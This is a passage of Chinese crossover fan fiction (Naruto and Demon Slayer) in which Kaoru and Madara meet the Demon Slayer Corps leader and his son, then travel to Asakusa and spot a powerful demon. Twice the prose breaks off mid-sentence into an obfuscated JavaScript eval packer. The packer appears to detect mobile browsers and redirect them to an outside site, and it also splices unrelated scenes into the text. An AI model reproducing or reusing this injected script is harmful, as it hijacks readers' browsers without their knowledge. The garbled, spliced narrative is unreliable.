在鎹鸦的监视下，没过多久，他们就遇见了拦在前路上的人。 一名有着八字眉的中年人穿着蓝色波浪纹的外衣，等在两人面前。即便头上已有花白之色，这人也依旧身姿挺拔，腰间系了把已经被废止不可继续佩戴的长刀，另一边系着一张红色的天狗面具。 粗看过去是有些温柔、很好说话的面相。 “请止步，”中年人开口，正式而又疏离，“再往前是私人产业，两位自藤袭山远道而来，有什么目的？” “已经调查清楚我们的行踪了吗？”斑停下脚步，看向来人，“听闻鬼杀队家主与神官一系关系密切，特来拜访。” 中年剑士面上明显一愣，没料到来人的目的与鬼无关：“……神官？” 这两人身份不明，在藤袭山时又通过古怪的方法获取了鬼杀队的消息，自然不能贸然让他们见到主公。他们若是为了成为鬼杀队成员而来，自然可以让这两人按照流程先去修习呼吸法。若是有其他目的，也可以先问清楚。 只是，虽然家主一脉代代与神官家的女儿通婚，但鬼杀队其实也和那一边没什么关系。他怎么也想不到，这两人竟然是为此而来的。 * 跟在自称鳞泷左近次的人身后往鬼杀队总部走去，熏还在想刚才斑和对方交涉的样子。 面对熏毫不遮掩的打量，斑心中颇感无奈，似乎又回到了两人过去以志叶与榴花身份相处时，自己总会为榴花的行为感到头疼。 “你又在想什么？”斑直接问她。 熏轻轻咳了一声，见前方鳞泷左近次隔得远，才道：“就是有点意外，这么正经地和旁人交涉，感觉不符合你常见的形象。” 虽然以往和斑相处的时候，他是没有族人们说的那么妖魔化，但毕竟那时候双方都不知道对方的身份。 等到后来在战场上见惯了宇智波一言不合开打、宇智波一言不合放狠话、宇智波狞笑等场景，熏都有些习惯宇智波在千手面前不是个正常人了。 ——虽然结盟后是对宇智波有几分改观，但毕竟这么多年她都习惯宇智波在战场上不做人了。 刚才见斑这么正常地和旁人交谈，熏突然就找回了多年前两人闲逛约会的时的感觉……意外地像个普通人。 “……你眼里的我到底是个什么形象，吃人的魔头吗？”斑抽了抽嘴角，吐槽道。 熏心虚地握住斑的手：“倒也不是……就是有些意外，总觉得你不是会有耐心做这种的事人。” 斑冷笑一声：“那第一次见面的时候你何必和我说那么多？” “……还是不一样嘛，那时候又不认识你，谁知道你就是斑啊。”当初要是知道疑似和她竞争同一个任务的是宇智波斑，她必然在一开始就拒绝接受这个任务了，哪里还轮得到她后来遇上斑啊。 斑还是为自己的形象在熏那里如此奇怪而感到不满：“那柱间呢？柱间看上去也不是会好好和人交涉的类型吧？” 熏：…… “其实柱间在大事上意外的靠谱，之前去见大名啊那些事也处理地很好，他只是看上去有些不着调罢了……”熏说道一般突然感觉不对劲，“等等，你不觉得我们提起柱间的次数过多了吗？” 斑再度看了眼熏：“你也知道啊，到底是谁更喜欢主动提柱间的？” 熏：“……我不管，这一次是你主动的提的，和我没关系！而且我和柱间他们一起长大，当然会更了解柱间嘛。” 斑点头：“嗯，你的意思是我们相处的时日还是少了。” 熏：？ “等等，好像哪里不对。”熏怀疑地看着斑，怎么话题突然就变成这样了。 斑闷笑了一声：“没什么不对，往后我们要多相处才是。” “你不要自顾自地下决定！”熏脸红了一大片，赶紧说，“我只是答应以……”榴花的身份暂时和你相处！说什么以后啊！ “嗯嗯，我知道，榴花。”斑截下熏的话。 熏：…… 不知道为什么，就是生气！ 鳞泷左近次听着身后两个年轻人断断续续的争执声，突然有种自己或许不是正在前往主公宅邸的路上的错觉。 好像这只是一次普通的春日外出，天空万里无云，风中的树叶带着林间特有的清香，世界上没有鬼，他们的身上也没有背负着杀鬼的重担。 但他转而便回过神来，那只是曾无数次出现在梦中的错觉罢了。 他依旧是鬼杀队的成员，正带着那两人前去面见主公。 * 鬼杀队总部如藤之家一样，周围都种植着藤花，庭院用石子铺平，廊下悬挂着卷起的竹帘。 向主屋走去时，熏偶然看见远处藤花下站着一个身量不高，头发留到肩膀处的小孩子。 鳞泷左近次远远向那个小孩垂头行了个礼，那个小孩面色平静，也向对方回了个礼，而后看向熏和斑，冲他们露出了个有些内敛温柔的笑容。 熏不由问道：“那是……？” “那位是少主。”鳞泷左近次介绍道。 产屋敷一家因为鬼王受到了短寿的诅咒，这一系的孩子也似乎因为诅咒而过于早熟，因此少主虽然年幼，但鳞泷也没有将其当作一个普通的孩子对待。 只是这些事无法详细地与外人讲述。 “这样啊。”熏不知道为什么，总觉得有些在意刚才那个孩子，感觉那个孩子身上的气息有些古怪。 她看了眼斑，见斑脸上没有异常，便知道这可能又和她自身的体质有些关系。 等到再转过一道回廊，他们便见到远远的廊下坐了个有些消瘦的身影，而鳞泷也略显恭谨地垂下头。 “那位就是主公。” 即使之前听了几遍，但听到鬼杀队的家主被称作“主公”时，熏还是有些不习惯，但同时也升起了几分好奇。 此刻听见鳞泷的话，她好奇地看去，但等她看清对方的模样，惊诧之余，也不由有些失望。 ——那实在是一个十分虚弱的普通人。 在熏的想象中，统领与鬼战斗的鬼杀队的首领，不提其他的，至少也该是个身体康健的武者。 但事实是，出现在熏面前的鬼杀队首领，身体甚至比普通人还孱弱。 鳞泷左近次当先几步走到鬼杀队家主的近前，单膝跪地行礼：“主公。” 鬼杀队家主的样貌细看之下与熏刚才所见的孩童有几分相似，只是脸上不知为何爬满了古怪的印记，像是伤疤，却也看不出来为何所伤。 他肩上披了件羽织，黑色长发自肩头垂下，听见鳞泷的声音后他微微侧头，唇边挂着一抹柔和的笑：“辛苦了，左近次。客人已经到了吗？” 站在熏身旁的斑呼吸微微一窒，熏也这才意识到这位鬼杀队的首领双眼也看不见。 她握着斑的手微微用力，熏担忧地看了眼斑，但斑脸上什么都没表露出来，察觉到她的视线后，也只是安抚地回握住熏的手。 听了鬼杀队家主的话之后，鳞泷才起身说起了熏两人的来意，并走到对方身边承担起了护卫工作。 有些虚弱的男人听完后捂住唇咳嗽了两声，又抬手制止鳞泷过去搀扶他的举动，而后看向熏所在的位置：“让两位见笑了，我这样恐怕与两位预想的模样大不相同。虽然不知二位具体的来意，恐怕也要让两位失望了，产屋敷一族确实与神官家族有关联，却与祭祀神明这类的事无关。” 说着，他眉眼间露出几分疲态，又剧烈地咳嗽了起来。 “……”见对方虚弱成这样，熏的眼睛浮现起几丝浅浅的金色，而后看见了不可置信的一幕。 原本只是想看一眼对方的精气还剩多少，她却见到本 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熏愣了一下，随即意识到自己刚才那番话可能是被对方误会了，让对方误以为自己是知道些什么另有图谋。 这无疑是个套话的好时机。 这么想着，熏却又想起鬼杀队的本质。 直接套话，她的良心隐隐作痛。 就在熏犹豫的时候，斑先一步说话了：“产屋敷的家主，你和鬼究竟是何关系？” 熏震惊地看向斑——这么问是不是太直白了？而且会不会太绝对了？ 斑微微摇头，快步走到对方跟前：“我们的目的与答案，都取决于你给出的回答。” 寻常人面对气势咄咄逼人的斑，很容易一句话都说不出来，但这个在熏眼中明明孱弱得随时可能会死去的人却并不怯场。 这和对方是否能看见毫无关系，毕竟有些感觉并不依赖于视觉，端坐在廊下的产屋敷家主面上神情没有一丝变化，未被斑所遮挡的阳光洒落到他遍布印记的脸上，却不显狰狞，相反甚至带上了一丝神性。 “……请不要威胁父亲！”就在产屋敷家主打算开口时，一个稚嫩的声音从走廊另一边传了过来。 三人齐齐看向突然出现在此处的孩童，产屋敷家主脸上更是出现了明显的错愕：“耀哉？” 年幼的孩子神情严肃，他看向自己的父亲：“失礼了，父亲。我听左近次先生说了这里的事，所以才会过来。” 他又看向斑：“斑先生，父亲近些时日精力不济，需要多加静养，请容我来说明相关事项……而且，这件事也与我有关系。” “……耀哉，你误会了。”产屋敷家主露出头疼的表情，和刚才那副一直平和到诡异的神情相比倒多了几分活人感。 产屋敷耀哉不赞同地看着自己父亲：“刚才我都看见了。”而后他又看向斑，等斑的回答。 三人：…… 斑看着眼神坚定地望着他的产屋敷耀哉，有些意外地挑了挑眉，而后问一旁的熏：“熏，如何？” 熏在刚才产屋敷耀哉说这件事和他也有关系时便也看了眼对方的精气，果然见到对方的气上也有鬼气缠绕，对这父子的情况更为不解。听见斑问她，她点了下头：“他没说谎。” 闻言，斑退开几步：“可以，你过来吧。” 产屋敷耀哉微微松了口气，快步走到他的父亲身边，在对方低声说他胡闹时道了声歉，而后毫不后悔地扶住他，再抬头望向斑：“那么，请随我移步到会客室内。” 见产屋敷耀哉扶着他父亲走在前面，熏慢吞吞走到斑身边，拉了下他的袖子，面色古怪。 斑看了过来。 熏本来想忍住的，毕竟她有时候说话确实不好听，但斑回头时刚好有些背光，显得他整张脸格外阴沉。 一想到刚才产屋敷耀哉的视角的斑是这个样子——或许还要更吓人一点——熏还是没忍住：“怎么感觉我们就跟反派坏人一样，是不是有点过分了？” 年幼的他，病弱的爸，古怪的病症，以及强势问话的他们。 ——刚才那个小孩直接说了威胁吧！ 他在觉得他们是在威胁他爸吧！ 明明他们一开始只是想来问点事的，事情怎会发展成这样！ 31.恶鬼灭杀12 等到耀哉解释了鬼王与产屋敷家族诅咒的关系，熏才明白为什么刚才他父亲的反应会有些奇怪，像是误会他们的目的一样。 但这事确实不能随便被外人知道，鬼杀队家主与鬼王同出一脉，实在是要命的消息。 熏甚至觉得鬼王要是直接散布这个消息，挑拨鬼杀队内部的关系，鬼杀队可能已经分崩离析了。 也不知道为什么鬼王不这么做，可能有自己的考虑吧。 熏解释道：“我们对鬼杀队和鬼都不感兴趣，其实这次来也只是想要打听一些事。我们想知道除了鬼之外，这个世界有没有其他比较怪异的事情发生。就像刚才所说，产屋敷家一开始创立鬼杀队，也是因为诅咒和神主的提议——这类超出寻常的东西。还有那些不像这个世界该存在的东西、现象……以及人。换句话说，我们在寻找拥有那些异于常人能力的人，我们来的路上，曾经遇见过一名能控制冰的鬼，就类似于这类异于常人的能力。” 耀哉恍然大悟，并且推导出了原因：“所以你们才会找到这里来——你们也有类似的能力？” “是的。”熏点头说道，这个话题没有必要隐瞒，实在要说的话鬼杀队的呼吸法其实也有些类似异能力，但还是依赖于身体的锻炼，不像忍术直接依赖查克拉。 而且，产屋敷家能够顺畅地接受这件事，更利于他们打听消息。 “我们遇到了一些问题，想要找拥有时空间能力的能力者。” 耀哉的神色纠结起来，一脸欲言又止。 坐在他身边的父亲似乎察觉到了孩子的不安，用手轻轻盖在耀哉的手上：“我的妻子是宫司大人的女儿，不久前为妹妹的继承问题回神社去了，不介意的话，两位可以在这里等她回来。” 熏和斑对视一眼，斑看出熏眼底的询问之意，主动道：“我对鬼王比较感兴趣。” “……”熏有一瞬间的无语。 想到斑平日里除了柱间的实力谁也看不上——泉奈除外，她也不清楚那对兄弟相处的日常——的样子，斑会对这个世界恶名昭著活了上千年的鬼感兴趣也是正常的。 不过熏也无所谓，在这个世界无论是哪里都没什么区别，于是她问产屋敷家主：“鬼杀队成员在外是怎么联系的呢？尊夫人回来后，可以联系上我们吗？” 产屋敷家主的语气依旧平静，只是多了些少许的不赞同，阐述事实：“鬼王的实力很强大，他手下还有着排名为十二鬼月的恶鬼，都是千年来从未被柱杀死过的鬼。” 短短一句话又有好几个专业名词，熏问了十二鬼月与柱是什么意思，听到眼睛上刻有数字是十二鬼月的标志后，她突然沉默了。 “你们鬼杀队是为了杀鬼成立的，现在又在犹豫什么？”斑有些不满。 耀哉微微抬头盯着斑，正经地解释道：“并非是犹豫，是因为两位客人并非鬼杀队队员，父亲是不想让两位卷入与鬼的战斗中受到伤害。” 被小孩子这么盯着解释说担心会受伤，扑面而来的善意让斑不适地偏过头，轻嗤道：“杀鬼和身份没有关系，更何况我们来的路上已经杀了一只你们口中说的十二鬼月。” 熏也开口：“我说为什么后面的鬼实力怎么和童磨差了那么大，原来是因为一来就碰上了最厉害的几个吗？” 她又想起之前杀鬼时的憋屈：“对了，除了加入鬼杀队，有其他办法拿到日轮刀吗？” “只有通过考核的鬼杀队剑士才能拥有日轮刀——本来也只是为了让正式队员拥有足够的实力才去直面恶鬼，但既然两位已经有杀死十二鬼月的实力，我们会为两位提供日轮刀的。” 熏看向说这话的鬼杀队主公，有些好奇：“你不担心我们在骗你吗？” “藤屋和路上鎹鸦传来的消息已经证明两位有杀鬼的实力，更何况你们没有骗我的必要。”产屋敷说道，沉静的姿态就像静静垂挂在院外架子上的藤花一般，有种神奇的让人安心的气质。 跟坐在他身侧的耀哉虽然年纪还小，也和他父亲相似。 熏身边的忍者们气质都如同锋利刺人的武器，这种看起来无害甚至让人舒服的人实在很少见，她不禁多看了几眼：“那就麻烦……” 聊了这么久熏才意识到还不知道鬼杀队主公的名字，她愣了一下，而后无比自然地继续说：“那就麻烦主公大人了，不介意的话可以让我替你把脉吗？我也稍微略通医术。如果我有方法的话，诊金就抵鬼杀队提供的情报与日轮刀好了。” 斑闻言不禁看向“略通”医术的熏，见她已经颇有兴致地凑上前去跟和熟人打招呼似地边打聊天边把脉，唇边不禁勾起一抹笑，等着熏看完。 等拿到鬼王鬼舞辻无惨更多的信息后，他们被“隐”的成员带去住宿的地方，其他人都离开后熏才和斑说起产屋敷的情况。 “可惜不能用医疗忍术，那个诅咒实在恶毒，”熏说，“会不断破坏他的身体，短暂治好也是折磨，马上又会变回这样，还会加速他的死亡。” 见熏脸上有些失望，斑问：“除了医术外，你想用其他方法？” 熏想起在那团气上看到的东西。那恐怕就是诅咒的化身，即便颜色和鬼相似，熏也对那团诡异的气感到忌惮。 最后熏还是摇头：“也只是想想，我虽然能看见，但……太诡异了。” 熏用斑能够理解的方式解释道：“你还记得我第一次变成那样子的时候吗？” “当时，我吸收了那团诡异的东西，”熏说，“那个东西给我的感觉很奇怪，就像是吃了有毒的东西一样，总之我的感受很不好。这次的东西能够缠在气上，我不了解，但我有会被缠上的风险。” 斑听到这里干脆地说：“别试。” 熏：“你这也回得太快了。” “我不说要是你真的觉得可以一试怎么办？”斑哼笑了一声，“你也不是不会干出这种事。” “……”熏惊了好半天，才道，“我觉得你对我的误解也很严重。” 斑：“彼此彼此。” 熏气得拿头槌撞斑，斑一点没躲，被千手撞得闷哼一声，却笑着抱住熏，低头看着怀中的怒气腾腾的她。 他抬手抚上熏的脸：“所以，给我们多一点时间，了解彼此吧。过去的时间，太过短暂了。” 熏呆了呆，紧紧抱住斑不说话。 在更早的人生中，在千手熏还不是千手熏的时候，她还只是个生活在安定世界中的普通人。 她偶然看到过高杉晋作写过的一句“三千世界鸦杀尽,与君共寝到天明”，那时候并不觉得有什么，但当初与“志叶”分别之际即将到来时，她突然就理解为什么会有这么多人将这句话理解为不同的意思。 时间啊，请慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她转而问扉间：“扉间你要和我交往吗？” 千手扉间暴怒：“你们两个给我适可而止！” 熏对桃华说：“看，是他不愿意。” “别说那种恶心的话了，你们还吃不吃的？”千手扉间问。 桃华站起身领鱼，一边摇头：“就怕熏这个条件，把范围扩大到族外都找不到。” 扉间：“死心吧，熏只能留在族里。” “看吧！他就是图我能力！” “好，那么请熏小姐吃完东西和我去实验室一趟！” 等三人在河边背着族长放松大作战接近尾声，熏才突然反应过来：“不对啊！” “怎么了？”桃华问她。 熏看着眼前两人：“你们俩也没对象啊，怎么就追着我问我理想型，我说过我要交往吗？” “我没问。”扉间撇清自己。 桃华也说：“我就只问了你有没有看得上的。” “……”桃华顿了一下，眼神瞬间犀利起来，“你不会真有喜欢的人吧？” 熏回答得斩钉截铁：“绝！无！可！能！” 也只是喜欢过而已，早就不喜欢了！ 32.恶鬼灭杀13 两人在鬼杀队总部住了一晚才下山，临走前熏想起远在极乐教的信徒们，和鬼杀队提起这件事。 “把这个交给他们吧，”熏把童磨那把莲花纹折扇递过去，“我是觉得里面很多人都不好处理，他们太信任童磨了。但毕竟是鬼的巢穴，一直留在那里对那些普通人也很危险，所以我有个主意，你们觉得可行的话可以试试。” 留在总部送两人离开的鳞泷被熏说得一愣一愣的，接过折扇听熏的主意。 “就告诉他们，他们的教主接受了神谕，斩尽恶鬼就可以获得前往极乐之国的资格，所以童磨踏上了杀鬼的旅途，临走前把他们托付给了鬼杀队照顾，”熏说着打好的腹稿，“要一起加入鬼杀队的尽可以加入训练杀鬼，想要退出过安生日子的最好，要是有好心人愿意捐赠物资改善你们鬼杀队的条件更是好事。” 鳞泷：…… 从刀剑落幕的时代走到现今的古板正经水柱意外是个单纯的人，没见过这种套路。闻言他的良心受到谴责，有些抗拒地问：“这不是骗人吗？” “怎么能叫骗人呢！”熏扬起眉梢，拉过斑问他，“这明明是多赢的好事，对吧？！” 眼前这熟悉的一幕梦回两人初遇之时，可怜面对熏的人换成了眼前没心眼的实诚人，对理直气壮的熏毫无招架之力。斑微微颔首，帮腔道：“失去了带领他们的人，说不定会有人心生恨意主动投靠鬼。” 鳞泷面色一凛，还是没直接应下：“我会将情况汇报给主公。” “……”熏不可置信。 太正经也不是好事！ 下山路上熏还在碎碎念这事，斑跟着笑，又道：“柱间不也是这样？” 熏瞟了眼斑，摇头：“你也一样。” 在某些地方意外固执坚持。 之前斑说他在收到柱间结盟书后还打算拒绝的事，熏现在想来还是有些后怕。她去到宇智波的时候，泉奈也就剩一口气，千手的医忍不去的话他恐怕难逃一劫。 泉奈如果真的死了，两族大概会彻底不死不休吧。 “别拿我和柱间比。”斑立刻道。 熏回神：“那有本事你别提柱间啊，凭什么就你可以提，你这个乱吃飞醋的家伙！” 斑：“……” 斑不说话了，熏又有些不习惯，问斑生气了吗。 “没有。”斑说。 熏有点不信：“那你怎么一句话也不说？” 这一次斑可疑地沉默了好一会儿，才道：“我只是，不知道说什么。” 熏诧异地瞪大眼睛。 “和你有关的事里，我最了解柱间，”斑说，“想来这也不公平，连‘志叶’的名字，都是因为柱间得来的。” 柱间是他们都能聊得上的话题。 当初分别之后，哪怕再见面也只是在战场上隔着嘈杂的厮杀声远远投去一瞥，过去所了解的一切也都被战争碾碎成不确定的模样。 “……那你可以和我说你自己啊，”熏也跟着沉默了小会儿，手指微勾，牵住斑的手，也不知道是在为谁辩解，“而且柱间没有取假名的经历，这个名字也是你先用的，他没机会了！” 她的声音越发小声：“之前还说什么用更多时间了解我，你不说你自己和我的事，光说柱间了，让我了解谁啊，去了解柱间吗。” 她还不够了解柱间吗！好像谁小时候不认识柱间一样！ 斑神色复杂，欲言又止，熏突然觉得有些难过，不希望看到斑露出这种表情。 她拉着斑加快速度：“走了走了，我们还得去取刀，不要耽误时间！” 也是问过鬼杀队才知道，原来日轮刀不是制式刀，也没有多余的库存，需要找刀匠订做。 他们出发的前一天已经有鎹鸦送信给刀匠委托锻刀了，鳞泷还有些可惜他们没有自己挑选锻刀的材料。 熏对待武器不像这个世界的人还普遍残存着武士对刀的特殊之情一样。 唯一对她有些特殊的武器就是当年灯留下的剑，现在可能还有斑“物归原主”借给她的刀，所以她并不是很遗憾。 要怪只能怪她更习惯流水线生产出来的东西吧。 虽然鬼杀队表现得极为友善，但也不至于对着才认识不久的陌生人泄露能够锻造日轮刀的村庄的位置。 只是因为两人闲不住要出门找鬼王，正好浅草附近传出了几桩可能与鬼有关的异闻，所以他们约好等刀锻好后在浅草附近的藤之家取刀，期间鬼杀队这边有其他和鬼王有关的消息也会让鎹鸦传来。 两人走到有列车的市镇买好票花了不少时间，等待发车的时间熏有些无聊地翻看着手中的车票。走神的她任由车票上的内容反复划过视网膜，而后—— 熏突然意识到一件事。 车票上写着列车“xx列车号”的名字，熏后知后觉地意识到语言上的差异。 她习惯性地将“列车”与“火车”等同，而后对斑说了“列车是着火的车”这种离谱的话。 ……问题是，好像真有一种叫“火车”的妖怪。当下的语言中，火车和列车是完全不同的东西。 那么，她当时的那番话，在斑听来肯定古怪极了！ 意识到这一点的熏浑身僵住，又看看自己对面坐着的斑。斑正透过车窗盯着车外整齐有序的站台，似乎也在想什么，没注意到熏的动作。 熏深深吸吸了口气，既然当时斑什么都没说，那应该没事，再说了她是穿越的又怎么样，他宇智波斑现在不也穿越了吗！ 理智上熏觉得这件事就算被旁人知道了也没什么大不了，但这毕竟是跟随自己了这么些年的秘密。就算是不重要的秘密，在隐隐有了泄露的征兆时，仍会给她带来几分不安，这并非她的理智就能控制的。 大概是她的目光过于强烈，斑看向熏问她怎么了。 熏连忙摇头，转移话题：“刚才听其他人说浅草很繁荣，不知道和火、都城比起来怎么样。” 答案当然呼之欲出，熏只是没话找话，倒是斑闻言思索了一阵：“找不到鬼舞辻无惨也没有关系，我们可以多逛逛。” 熏：…… 真是灵活的目标。 “我还以为你是看不惯鬼……”熏想了想，又摇头，“果然只是因为感兴趣吗？” 以十分粗暴的黑白论来看，斑想对付鬼王无疑是一种好事，但他又在和产屋敷家主交谈时说他是对鬼王感兴趣。 按照傲娇的话可以反着理解、不理会表面意思理解定理来看，熏其实觉得斑大概是有“帮忙”的意愿在里面。 只是“宇智波族长”和“主动帮忙”放在一起，似乎有点反直觉，让她更能接受斑亲口给出的理由。 “……我不是个好人，你不是很早就知道了吗？”斑问。 熏被问得哑口无言，又想起当初宇智波芽衣的事。她顿了顿，既然提起过去那就问问现状吧：“宇智波芽衣现在怎么样？” 好歹她也帮了忙——虽然帮宇智波并非她的本意。 “前年死在风之国了。”斑说。 猝不及防的噩耗震惊了熏。忍者随时会死，熏早就知道，但宇智波芽衣的意义对熏而言还是不同。 不管多么阴差阳错，那始终是一个通过她的努力被挽救过一次生命的敌人。 其实她和宇智波芽衣也非亲非故，说不定还有仇，知道对方死去的消息她无论如何也不该伤心的。 但熏还是觉得：“……真是短暂。” 真是短暂而无常的生命。 和她将族人治好后再看着他们丧命的感觉相似却也不同，但依旧让她有种自己的努力似乎没有意义的错觉。 斑抬起手，手指却在即将触及熏的眼角时停下，他道：“她有一个孩子。” 熏有些茫然地看着斑，不太明白他为什么突然说这话。 宇智波芽衣的孩子并不是宇智波芽衣，死的人终究是死了。 “原本，不出意外的话，”斑放下手，搭在自己膝盖上，又动了动，包裹住对面熏放在腿上的手，“今年，你会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164390|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在接下来的战场上看见她。” 熏瞪大眼睛。 她理解了斑没说完的话。 ——但现在两族结盟，按照双方预先所约定的内容，至少这些孩子在长大以前不用上战场了。 “我们所做的努力，都有意义。”斑的语气听不出安慰的意思，但无疑是在安慰熏。 ——哪怕改变可能很微小，暂时看不出来，但依旧在改变。 熏突然不知道该说什么，心中涌起一股想要流泪的冲动，却并非伤心难过。 “……斑，”熏用力地眨了两下眼睛，制止眼泪流下，“和柱间没有关系，也和我所伪装的泉奈没有关系，那当初，你为什么会改变意愿呢？” “不，”斑否认道，“都有关系。” 当他自熏那个伪装成泉奈的梦中醒来后，他走进了泉奈的房间。 自泉奈重伤后，他从一开始死死守在泉奈身边盼着他醒来，到后来泉奈短暂醒来还在叮嘱他宇智波的事宜，再到泉奈几乎没有清醒时刻医师们的神情也越发为难，他甚至不敢再看一眼昏迷着的弟弟，期待着或许奇迹能够降临，让泉奈醒来。 泉奈依旧安静地躺着，或许是因为见了熏，他又难免想到当初对熏说起自己的软弱，说起自己无法保护其他几个弟弟。 发誓要守护的弟弟现在也要离他而去。 柱间的话、熏的话、泉奈的话在他脑海中交织不断，折磨着他。 结盟就能就泉奈，就能实现过去的梦想，为什么要拒绝呢？ 但眨眼间这样的想法就被泉奈的劝阻与战场上那些倒在地上的族人的模样压下。 “……斑大人，”火核的声音自他身后传来，自战场撤离之后，昔日意气风发的得力部下眼中也多了几分迷茫，“死伤人员的慰问工作已经完毕。” “……火核，”斑又想到那些被他留在战场上的族人，目光仍落在泉奈的脸上，“你还想继续战斗下去吗？” 跪坐在门口的火核愣了一下，注视着首领的背影，目中坚定起来：“只要斑大人下令，火核会战斗到最后一刻。” “……是吗？那其他族人呢？” “其他族人也一样！”火核回答得毫不犹豫。 但当斑走到训练场上，看着已经开始训练起来的幼年族人们，望着他们坚定的眼睛，听着他们说着自己会跟随在他身后直至最后一刻，斑反而动摇了。 无尽的战争与斗争保护不了弟弟，过去的梦想越发遥远，不喜欢身后有人的他要背负着如此多族人的期待。 这些孩子们也有芽衣的孩子，看见她后斑又想起当初熏在不知道他们身份时与宇智波相处的日常——如果，两族真的能放下芥蒂生活在一起，会是这样的吗？ 眼前这些孩子也如他那些早夭的弟弟一样，没有体验过人生中美好的事物，就要在还不理解人生的意义时坚定地说要跟随一个在战场上放弃过族人生命的族长。 再这么战斗下去，也只是徒增伤亡。 他想要弟弟活下去，想要族人活下去，想要……实现当初与柱间一起勾画出的理想中的村子。 从训练场出来，斑看着街边被秋意浸染得通红的红枫。斑抬手接住一片飘落的红叶，看着掌心上的叶子半晌，最终还是道：“火核，通知下去吧，召开族会。” 他做出了决定。 火车鸣笛的声音打破了这个话题带来的沉重之感，熏翻看起鬼杀队所说的浅草当地可能与鬼有关的情报。 有散场后的剧院时常传来呜呜的声音，有一些据说目击过鬼的人说剧院被鬼缠住了的消息，也有不久前一名华族的宅邸被一把火烧了个精光，全家无一生还的消息。 熏看着两份消息，问斑想先调查哪一边。 “晚上的话，就先去剧院吧。” 熏点头说好，但也疑心这件事背后可能是人为的。 ——说不定浅草的剧院里也藏了个“魅影”呢。 这么想着，熏叹了口气，找不到人吐槽真是痛苦。 33.恶鬼灭杀14 浅草在这个时代也算颇为繁华的商业区，地面已经铺设了方便出行的电车轨道，即便已经是晚上，行人依旧很多，只是“闹鬼”的剧院门口却因为受到流言影响显得门可罗雀。 剧院斜对门是一家三层楼高的商场，招牌上闪烁着复古的彩灯，沿街店铺竖起鲜艳的招牌，路上行人的服饰搭配极为混搭，偶尔会有老式汽车从路边驶过。 见过火车后，再看电车和汽车，斑一路上表现很是平静，反而是熏考虑了下自己平日的性格，发现她要是不做出惊奇的模样反而会很奇怪。 到底谁才是从战国时代穿越过来第一次见新东西的人啊！ 熏忿忿地想着，因为不想输给斑一头，反而没有刻意装出兴奋的样子，但是眼前这对她而言足够“复古”的一幕还是惹得她四处打量。 过了路口走到剧院外，两人借着灯光看清剧院门口的海报，上面出乎他们意料不是那些熏完全看不懂的传统戏剧介绍，而是介绍不久前他们在报纸上看过的新上映的西洋电影——《月球旅行记》，海报上还强调这是无需解说的默片。 “月球？”斑问。 熏眼睛也不眨一下，面不改色地解释：“之前我看童磨房间里的书提到过，这个世界的月亮好像是个球体，我们踩着的地方也是个叫作地球的球体。” 斑一言难尽地看了眼熏，虽说之前熏假扮过一段时间童磨，但不代表他没搜查过童磨的房间。 熏说谎似乎越来越敷衍了。 “这样啊，所以这个戏剧讲的是一个——”斑的目光在海报上的一群人身上顿了下，改口，“一群人从地球到月球上的故事。” “大概吧，”熏没看过这个被冠以惊奇的想象力与科学相结合的科幻片，甚至不确定自己以前的世界有这么一部片子，毕竟她那个年代除非是专业相关或者是爱好者，基本不会有人去翻这么老的片子出来看，“也不知道讲的是什么。” 在缺少娱乐活动的战国时代待久了，熏面对这种黑白默片也有了兴趣。 可惜剧院因为闹鬼事件停业，只能白天来看，黑洞洞的入口显得有几分阴森，明明旁边就是热闹的商业街。 “如何，你对这个感兴趣吗，解决完这里的事，我们也来看看？”熏兴致勃勃地提出邀请。 天知道她有二十多年没看过电影了！现在有得看就不错了，她不会挑的！更何况这还是科幻片，绝对不会无聊！ “啊，可以。”斑说。 熏侧过头看斑，暖色的灯光打在他漆黑的发梢上，和他平日里那种对外显示出来的孤傲感格外不搭，而且这人因为准备开始调查工作表情也很正经。 她戳了戳对方的胳膊：“你好像不太像去，我不会强迫你的。” 斑：“……” 他回望过去，熏映着街灯的瞳孔显得格外狡黠，明亮的光彩让他想起当初那支发饰上的红珊瑚珠的光泽。 “比起我的好奇心，我倒担心你会失约，”斑想起熏时不时上线的千手脑袋，轻轻叹气，在对方陡然睁大眼睛想要反驳时，直接牵住了熏的手，“走吧，快点解决这次事件。” “哈？你以为我会被这么轻易被你转移话题吗？”熏追着斑问，两人正要进去，一辆车缓缓停靠在了剧院边上。 不祥的气从车厢内涌动而出，熏皱起眉头看了过去，下意识地侧过身警惕地将斑拦在身后。 透过玻璃车窗，能看见一个长相极为秀致的少年正侧头望向剧院门口，偏朱红色的眼眸冷漠地扫过熏和斑两人。 握住自己的手陡然加了力道，熏担心斑直接在人流这么多的地方动手，回首看了眼斑，将他的手往自己的方向拉了拉。 斑不悦地抿住唇，而后抬起另一只后揽住熏的肩将她往后带，站在了前面。 不提街边两人怎么想的，车上戴着帽子的司机从驾驶室开门下车，在剧院门口转了一圈后，而后走到车厢边汇报剧院的情况：“少爷，剧院还是没有营业，也米有说什么时候恢复夜间营业……不过对面的店铺还开着。” 伪装成人类的鬼收回视线，冷淡地说道：“那就回去吧。” 司机面上有些为难，还是应了声是。 等到车子重新发动驶离剧院，斑才开口询问：“鬼？” 熏皱着眉从逐渐远去的汽车上收回目光，一边是闹鬼的剧院，一边是来剧院扑了个空的真鬼，真是难以取舍的选择题。 而且，那只鬼的人类形态虽然看起来只是个清秀的少年，身上的气却比之前熏遇到过的更为浓烈，黑色的气简直如潮水般溢出车厢，涌动着不祥的气息。 比童磨还浓烈的血气…… ——上弦一？ 